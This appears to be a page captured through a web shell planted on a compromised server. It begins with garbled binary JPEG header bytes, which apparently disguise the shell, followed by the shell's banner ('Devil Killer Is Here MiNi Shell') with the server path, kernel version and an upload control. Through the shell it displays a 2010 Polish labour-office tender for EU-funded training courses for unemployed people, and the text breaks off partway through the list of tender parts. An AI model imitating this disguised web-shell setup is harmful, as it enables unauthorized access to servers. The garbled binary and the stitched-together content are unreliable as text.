JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/self/root/home/vmanager/www/common/web/tenders/20100524/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : //proc/self/root/home/vmanager/www/common/web/tenders/20100524/132999-N-2010.html

<p class="kh_header"><b>Oświęcim: 1. Przedmiotem zamówienia jest organizacja i przeprowadzenie szkoleń grupowych dla osób bezrobotnych współfinasowanych przez Unię Europejską w ramach Europejskiego Funduszu Społecznego odpowiednio od jednej do dziesięciu części zamówienia

Część I 
Spawanie MAG, MIG, TIG dla 20 osób bezrobotnych w dwóch edycjach po 10 osób
Część II 
Operator koparko-ładowarki i spycharki w klasie III dla 45 osób bezrobotnych
Część III 
Magazynier dla 20 osób bezrobotnych w dwóch edycjach po 10 osób
Część IV 
Nowoczesny sprzedawca dla 60 osób bezrobotnych w czterech edycjach po 15 osób
Część V 
Pracownik kadr</b><br>
<b>Numer ogłoszenia: 132999 - 2010; data zamieszczenia: 24.05.2010</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b> zamówienia publicznego.</p>

<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Powiatowy Urząd Pracy w Oświęcimiu , ul. Wyspiańskiego 10, 32-602 Oświęcim, woj. małopolskie, tel. 33 8444144, faks 33 8444144 w. 3212.</p>
<ul class="kh_indent_1">
</ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Administracja samorządowa.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> 1. Przedmiotem zamówienia jest organizacja i przeprowadzenie szkoleń grupowych dla osób bezrobotnych współfinasowanych przez Unię Europejską w ramach Europejskiego Funduszu Społecznego odpowiednio od jednej do dziesięciu części zamówienia

Część I 
Spawanie MAG, MIG, TIG dla 20 osób bezrobotnych w dwóch edycjach po 10 osób
Część II 
Operator koparko-ładowarki i spycharki w klasie III dla 45 osób bezrobotnych
Część III 
Magazynier dla 20 osób bezrobotnych w dwóch edycjach po 10 osób
Część IV 
Nowoczesny sprzedawca dla 60 osób bezrobotnych w czterech edycjach po 15 osób
Część V 
Pracownik kadr.</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.3) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> Część I 
Spawanie MAG, MIG, TIG dla 20 osób bezrobotnych w dwóch edycjach po 10 osób
Część II 
Operator koparko-ładowarki i spycharki w klasie III dla 45 osób bezrobotnych
Część III 
Magazynier dla 20 osób bezrobotnych w dwóch edycjach po 10 osób
Część IV 
Nowoczesny sprzedawca dla 60 osób bezrobotnych w czterech edycjach po 15 osób
Część V 	
Pracownik kadrowo-płacowy dla 60 osób bezrobotnych w czterech edycjach po 15 osób
Część VI 
Księgowość komputerowa dla 20 osób bezrobotnych w dwóch edycjach po 10 osób
Część VII 
Operator wózków jezdniowych dla 45 osób bezrobotnych w trzech edycjach po 15 osób
Część VIII 
Florystyka - bukieciarstwo dla 20 osób bezrobotnych w dwóch edycjach po 10 osób
Część IX 
Kosmetyczka - wizażystka dla 20 osób bezrobotnych w dwóch edycjach po 10 osób
Część X 
Profesjonalna sekretarka + moduł języka angielskiego dla 30 osób bezrobotnych w dwóch edycjach po 15 osób
Szkolenia będą realizowane w ramach Projektu Aktywizacja zawodowa Programu Operacyjnego Kapitał Ludzki - Priorytet VI Rynek pracy otwarty dla wszystkich - Działanie 6.1 Poprawa dostępu do zatrudnienia oraz wspieranie aktywności zawodowej w regionie - Poddziałanie 6.1.3 Poprawa zdolności do zatrudnienia oraz podnoszenie poziomu aktywności zawodowej osób bezrobotnych współfinansowany ze środków Unii Europejskiej w ramach Europejskiego Funduszu Społecznego i Funduszu Pracy. 
Programy szkoleń muszą być zgodne ze standardami kwalifikacji zawodowych i modułowych programów szkoleń znajdujących się w bazach danych prowadzonych przez ministra dostępnych pod adresem www.standardyiszkolenia.praca.gov.pl..</p>
<p><b>II.1.4) Czy przewiduje się udzielenie zamówień uzupełniających:</b> nie.</p>

<p><b>II.1.5) Wspólny Słownik Zamówień (CPV):</b> 80.50.00.00-9, 80.51.00.00-2.</p>
<p><b>II.1.6) Czy dopuszcza się złożenie oferty częściowej:</b> tak, liczba części: 10.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> .</p>

<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>


<p><b>III.2) ZALICZKI</b></p>
<ul class="kh_indent_1"><li><b>Czy przewiduje się udzielenie zaliczek na poczet wykonania zamówienia:</b> nie</li></ul>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III. 3.1) Uprawnienia do wykonywania określonej działalności lub czynności, jeżeli przepisy prawa nakładają obowiązek ich posiadania</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Wpis do rejestru instytucji szkoleniowych prowadzonego przez Wojewódzki Urząd Pracy właściwy ze względu na siedzibę instytucji szkoleniowej (zgodnie z ustawą o promocji zatrudnienia i instytucjach rynku pracy - Tekst jed. Dz. U. Nr 69 poz. 415 z 2008r. z późn. zm. oraz Rozporządzeniem Ministra Gospodarki i Pracy z dnia 27 października 2004r. w sprawie rejestru instytucji szkoleniowych Dz. U. Nr 236, poz. 2365), oraz dokument, że wpis został zaktualizowany na rok 2010; - odpowiednio od jednej do dziesięciu części zamówienia; 
Aktualny Atest Instytutu Spawalnictwa w Gliwicach do szkolenia i egzaminowania spawaczy w oparciu o Wytyczne nr W-07/US-17 w metodach MAG, MIG, TIG - okres ważności atestu nie może być krótszy niż termin realizacji szkolenia dla pierwszej części zamówienia;
Potwierdzenie spełnienia wymagań określonych § 25 Rozporządzenia Ministra Gospodarki z dnia 20 września 2001r. w sprawie bezpieczeństwa i higieny pracy podczas eksploatacji maszyn i innych urządzeń technicznych do robót ziemnych, budowlanych i drogowych (Dz. U. Nr 118, poz. 1263), wystawione przez Instytut Mechanizacji Bbudownictwa i Górnictwa Skalnego dla drugiej części zamówienia;
Uprawnienia do prowadzenia szkoleń w zakresie kierowca wózków jezdniowych wydane przez Ośrodek Doskonalenia Kadr w Mysłowicach nadzorowany przez Ministra właściwego do spraw gospodarki zgodnie z Rozporządzeniem Ministra Gospodarki z dnia 10 maja 2002r. w sprawie bezpieczeństwa i higieny pracy przy użytkowaniu wózków jezdniowych z napędem silnikowym (Dz. U. Nr 70, poz. 650 z późn. zm.) dla trzeciej i siódmej części zamówienia;
Ocena spełnienia warunku będzie dokonywana metodą 0 - 1, tj. spełnia/nie spełnia, w oparciu o wpis do rejestru instytucji szkoleniowych prowadzonego przez wojewódzki urząd pracy właściwy ze względu na siedzibę instytucji szkoleniowej (zgodnie z ustawą o promocji zatrudnienia i instytucjach rynku pracy - Tekst jed. Dz. U. Nr 69 poz. 415 z 2008r. z późn. zm.), oraz oświadczenie Wykonawcy dołączone do oferty stanowiące załącznik nr 2 do SIWZ odpowiednio od jednej do dziesięciu części zamówienia, a także w/wym. dokumenty potwierdzające posiadanie uprawnień do przeprowadzania poszczególnych kursów dla pierwszej, drugiej trzeciej i siódmej części zamówienia:</p>
</li></ul></li><li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Wymaga się przeprowadzenia przynajmniej jednego szkolenia grupowego o tematyce tożsamej z przedmiotem zamówienia, w okresie ostatnich 3 lat,  a jeżeli okres prowadzenia działalności jest krótszy w tym okresie, licząc wstecz od dnia upływu terminu składania ofert. Wykonawca musi udokumentować, że wymieniona usługa została należycie wykonana załączając dokumenty potwierdzające ich należytą realizację, w wykazie podać nazwę kierunku szkolenia, ilość przeszkolonych osób, nazwę odbiorcy szkolenia (adres, telefon), termin (y) realizacji szkolenia (ń) (dzień, miesiąc, rok). 
Ocena spełnienia warunku będzie dokonywana metodą 0 - 1, tj. spełnia/nie spełnia, w oparciu o wykaz zrealizowanych usług Wykonawcy potwierdzone oświadczeniem stanowiącym załącznik nr 4 do SIWZ oraz oświadczenia uprzednich odbiorców o ich należytym wykonaniu, potwierdzonego odpowiednimi dokumentami, a także oświadczenie Wykonawcy dołączone do oferty stanowiące załącznik nr 2 do SIWZ, odpowiednio od jednej do dziesięciu części zamówienia;
W przypadku rozbieżności pomiędzy nazwą szkolenia wskazaną w SIWZ a nazwą w załączniku nr 4, w ocenie doświadczenia będą uwzględnione te szkolenia w których Wykonawca wykaże, że program tematyczny zrealizowanych przez niego zamówień obejmował przynajmniej 70% minimum programowego wskazanego w przedmiocie zamówienia odpowiednio od jednej do dziesięciu części zamówienia.</p>
</li></ul></li><li><p><b>III.3.3) Potencjał techniczny</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Ocena spełnienia warunku będzie dokonywana metodą 0 - 1, tj. spełnia/nie spełnia, 
w oparciu o oświadczenie Wykonawcy dołączone do oferty stanowiące załącznik nr 2 do SIWZ, odpowiednio od jednej do dziesięciu części zamówienia;</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Ocena spełnienia warunku będzie dokonywana metodą 0 - 1, tj. spełnia/nie spełnia, 
w oparciu o oświadczenie Wykonawcy dołączone do oferty stanowiące załącznik nr 2 do SIWZ, odpowiednio od jednej do dziesięciu części zamówienia</p>
</li></ul></li><li><p><b>III.3.5) Sytuacja ekonomiczna i finansowa</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Ocena spełnienia warunku będzie dokonywana metodą 0 - 1, tj. spełnia/nie spełnia, w oparciu o oświadczenie Wykonawcy dołączone do oferty stanowiące załącznik nr 2 do SIWZ, odpowiednio od jednej do dziesięciu części zamówienia</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<ul class="kh_indent_1"><li>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnieniu warunków udziału w postępowaniu, należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">koncesję, zezwolenie lub licencję</li>

<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, dostaw lub usług  w zakresie niezbędnym do wykazania spełniania warunku wiedzy i doświadczenia w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, z podaniem ich wartości, przedmiotu, dat wykonania i odbiorców, oraz załączeniem dokumentu potwierdzającego, że te dostawy lub usługi zostały wykonane lub są wykonywane należycie</li>

</ul></li>

<li><p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru, jeżeli odrębne przepisy wymagają wpisu do rejestru, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert, a w stosunku do osób fizycznych oświadczenie w zakresie art. 24 ust. 1 pkt 2 ustawy</li>

</ul></li>
<li>
<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert</li>

</ul></li>
</ul>
<p class="bold">III.6) INNE DOKUMENTY</p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>1. Wypełniony formularz ofertowy stanowiący załącznik nr 1 do SIWZ,
2. Oświadczenie wykonawcy załącznik nr 2 i 3 do SIWZ, 
3. Kserokopie posiadanych certyfikatów jakości usług - poświadczonych za zgodność z oryginałem - jeśli wykonawca je posiada i będzie je składał w ofercie w zależności od wyboru wykonawcy.
4. Wykaz zrealizowanych usług Wykonawcy wraz z dokumentami potwierdzającymi ich należyte wykonanie zgodnie z załącznikiem nr 5 do SIWZ dla punktacji w kryterium doświadczenie, jeśli wykonawca będzie je składał w ofercie w zależności od wyboru wykonawcy.
5. Dopuszcza się możliwość składania jednej oferty przez dwa lub więcej podmiotów,
pod warunkiem, że taka oferta spełniać będzie następujące wymagania:
- Wykonawcy występujący wspólnie muszą ustanowić pełnomocnika jako przedstawiciela do reprezentowania ich w postępowaniu lub do reprezentowania ich w postępowaniu i zawarcia umowy w sprawie zamówienia publicznego, a jego upoważnienie musi być udokumentowane pełnomocnictwem podpisanym przez upełnomocnionych przedstawicieli wszystkich Wykonawców występujących wspólnie, przy czym pełnomocnictwo to może wynikać z załączonej do oferty stosownej umowy,
6. Pełnomocnictwo (pełnomocnictwa), jeśli oferta będzie podpisana przez pełnomocnika, dotyczy to również przypadku, jeżeli jest ono wymagane dla Spółki Cywilnej lub uczestników konsorcjum - pełnomocnictwo musi być dołączone w formie oryginału lub notarialnie poświadczonej kopii,
7. Wykonawca może polegać na wiedzy i doświadczeniu, potencjale technicznym, osobach zdolnych do wykonania zamówienia lub zdolnościach finansowych innych podmiotów, niezależnie od charakteru prawnego łączących go z nimi stosunków. Wykonawca w takiej sytuacji zobowiązany jest udowodnić zamawiającemu, iż będzie dysponował zasobami niezbędnymi do realizacji zamówienia, przedstawiając w tym celu pisemne zobowiązanie tych podmiotów do oddania mu do dyspozycji niezbędnych zasobów na okres korzystania z nich przy wykonywaniu zamówienia oraz ich faktyczny udział przy realizacji zamówienia w charakterze podwykonawcy (ów), a także dołączyć odpowiednio wszystkie dokumenty wymagane na potwierdzenie braku podstaw do wykluczenia podwykonawcy (ów).</p>
<p><b>III.7) Czy ogranicza się możliwość ubiegania się o zamówienie publiczne tylko dla wykonawców, u których ponad 50 % pracowników stanowią osoby niepełnosprawne: </b>nie</p>


<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>cena oraz dodatkowe kryteria i ich znaczenie:</p><ul class="kh_indent_1">
<li>1 - Cena - 0.50</li>
<li>2 - doświadczenia - 0.30</li>
<li>3 - posiadanie certyfikatu jakości usług - 0.20</li>
</ul>
<p><b>IV.2.2) Czy przeprowadzona będzie aukcja elektroniczna:</b> nie.</p>
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>Czy przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b>tak</p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>Zgodnie z art. 144 ust. 1 ustawy Prawo zamówień publicznych Zamawiający dopuszcza możliwość zmiany postanowień umowy, której wzór wskazany jest w pkt XIX SIWZ. Zmiany mogą dotyczyć:
- zakresu usług objętych umową, w przypadku zmian przepisów prawa w tym zakresie,
- kadry wykonującej przedmiot zamówienia z przyczyn losowych (za zgodą Zamawiającego),
- terminu przeprowadzenia szkolenia, z przyczyn losowych,
- zmiana ilości osób objętych szkoleniem, z przyczyn losowych,
- zmiana kosztów szkolenia jeżeli te zmiany są korzystne dla Zamawiającego, 
- zmiana kosztu osobogodziny szkolenia jeżeli ta zmiana jest korzystna dla Zamawiającego,
- zmiana w harmonogramie zajęć pod warunkiem zachowania terminu realizacji umowy z przyczyn losowych. 
Warunkiem dokonania zmiany jest zawiadomienie o zaistnieniu w/wym. okoliczności w formie pisemnej.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.pup.oswiecim.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Powiatowy Urząd Pracy w Oświęcimiu
ul. Wyspiańskiego 10
32-602 Oświęcim
pierwsze piętro pokój 105.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 01.06.2010 godzina 09:00, miejsce: Powiatowy Urząd Pracy w Oświęcimiu
ul. Wyspiańskiego 10
32-602 Oświęcim
drugie piętro pok. 212 - dziennik podawczy (sekretariat).</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> Szkolenia będą realizowane w ramach Projektu Aktywizacja zawodowa Programu Operacyjnego Kapitał Ludzki - Priorytet VI Rynek pracy otwarty dla wszystkich - Działanie 6.1 Poprawa dostępu do zatrudnienia oraz wspieranie aktywności zawodowej w regionie - Poddziałanie 6.1.3 Poprawa zdolności do zatrudnienia oraz podnoszenie poziomu aktywności zawodowej osób bezrobotnych współfinansowany ze środków Unii Europejskiej w ramach Europejskiego Funduszu Społecznego i Funduszu Pracy..</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>
<p class="text kh_title">ZAŁĄCZNIK I - INFORMACJE DOTYCZĄCE OFERT CZĘŚCIOWYCH</p>
<p><b>CZĘŚĆ Nr:</b> 1 <b>NAZWA:</b> Przeprowadzenie szkolenia dla 20 osób bezrobotnych w dwóch edycjach po 10 osób w zakresie Spawanie MAG, MIG, TIG współfinasowanego przez Unię Europejską w ramach Europejskiego Funduszu Społecznego.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Program szkolenia spawania blach i rur spoinami pachwinowymi metodą MAG (135) i spawania blach i rur z aluminium i jego stopów spoinami pachwinowymi metodą MIG (131) oraz kursu spawania blach i rur spoinami pachwinowymi metodą TIG (1,1) na podstawie wytycznych instytutu spawalnictwa W-07/IS-02, W-07/IS-03, W-07/IS-05 ,W-07/IS-17
Szkolenie teoretyczne
1.	Zastosowanie elektryczności do spawania łukowego - 2 godz.
2.	Urządzenia spawalnicze 2 godz.
3.	Bezpieczeństwo i higiena pracy - 2 godz.
4.	Bezpieczna praca na hali produkcyjnej - 2 godz.
5.	Materiały dodatkowe do spawania - 2 godz.
6.	Spawanie w praktyce - 2 godz.
7.	Oznaczenia i wymiarowanie spoin - 2 godz.
8.	Metody przygotowania złączy do spawania - 2 godz.
9.	Kwalifikowanie spawaczy- 2 godz.
10.	Budowa i użytkowanie urządzeń do spawania metodą MAG , MIG , TIG - 6 godz.
11.	Materiały dodatkowe do spawania MAG , MIG - 2 godz.
12.	Elektrody wolframowe i materiały dodatkowe do spawania TIG - 1 godz.
13.	Bezpieczeństwo i higiena pracy przy spawaniu MAG , MIG , TIG - 2 godz.
14.	Charakterystyka spawania metodą MAG oraz typowe parametry - 2 godz.
15.	Charakterystyka spawania metodą MIG oraz typowe parametry - 2 godz.
16.	Aluminium i jego stopy, procesy spawania i aspekty bezpieczeństwa pracy - 2 godz.
17.	Spawalność i technika spawania ( aluminium ) - 2 godz.
18.	Materiały dodatkowe do spawania aluminium i jego stopów - 2 godz.
19.	Złącza spawane z aluminium i jego stopów i ich odkształcenie - 2 godz.
      Łącznie szkolenie teoretyczne - 41 godz.
      Szkolenie praktyczne
1.	Instruktaż wstępny - 4 godz.
2.	Ćwiczenia praktyczne - 315 godz.
      Łącznie szkolenie praktyczne 319 godz.
      Ogółem: - 360 godz.
W cenie należy uwzględnić koszt badań lekarskich i egzaminu.
Każdy z uczestników ma mieć zapewnione ubranie ochronne.
Po pozytywnym zaliczeniu egzaminu uczestnicy otrzymają także Świadectwo Egzaminu Kwalifikacyjnego Spawacza wystawionego przez Instytut Spawalnictwa oraz Książeczkę Spawacza.  
Czas trwania: 10 tygodni
Termin realizacji: 14.06.2010r. - 20.08.2010r. I edycja
                                09.08.2010r. - 15.10.2010r. II edycja
Planowane terminy organizacji szkoleń mogą ulec zmianie..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.51.00.00-2.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 30.10.2010.</p></li>
<li><p><b>4) Kryteria oceny ofert: </b>cena oraz dodatkowe kryteria i ich znaczenie:</p>
<ul class="kh_indent_1">
<li>1. Cena - 0.50</li>
<li>2. doświadczenie - 0.30</li>
<li>3. posiadanie certyfikatu jakości usług - 0.20</li>
</ul>
</li>
</ul><br>
<p><b>CZĘŚĆ Nr:</b> 2 <b>NAZWA:</b> Przeprowadzenie szkolenia dla 45 osób bezrobotnych w zakresie Operator koparko-ładowarki i spycharki w klasie III współfinasowanego przez Unię Europejską w ramach Europejskiego Funduszu Społecznego.</p>
<ul class="kh_indent_1"><li><p><b>1) Krótki opis ze wskazaniem wielkości lub zakresu zamówienia:</b> Program zgodny z rozporządzeniem Ministra Gospodarki w sprawie bezpieczeństwa i higieny pracy podczas eksploatacji maszyn i urządzeń technicznych do robót ziemnych, budowlanych i drogowych z dnia 20.09.2001 r. (Dz. U. Nr 118 poz. 1263). Razem: 352 godz.
W cenie należy uwzględnić koszt badań lekarskich i egzaminu.
Kurs zakończy się egzaminem  przed komisją z Instytutu Mechanizacji Bukownic Górnictwa Skalnego. Uczestnicy otrzymają świadectwo Instytutu Mechanizacji Budownictwa i Górnictwa Skalnego oraz książeczkę operatora.
Czas trwania: ok. 9 tygodni
Dokładny termin realizacji uzależniony jest od harmonogramu szkoleń danej jednostki szkolącej, która będzie przeprowadzała szkolenie. Przewidywany termin realizacji sierpień 2010 - październik 2010
Planowane terminy organizacji szkoleń mogą ulec zmianie..</p></li>
<li><p><b>2) Wspólny Słownik Zamówień (CPV):</b> 80.51.00.00-2.</p></li>
<li><p><b>3) Czas trwania lub termin wykonania:</b> Zakończenie: 30.10.2010.</p></li>
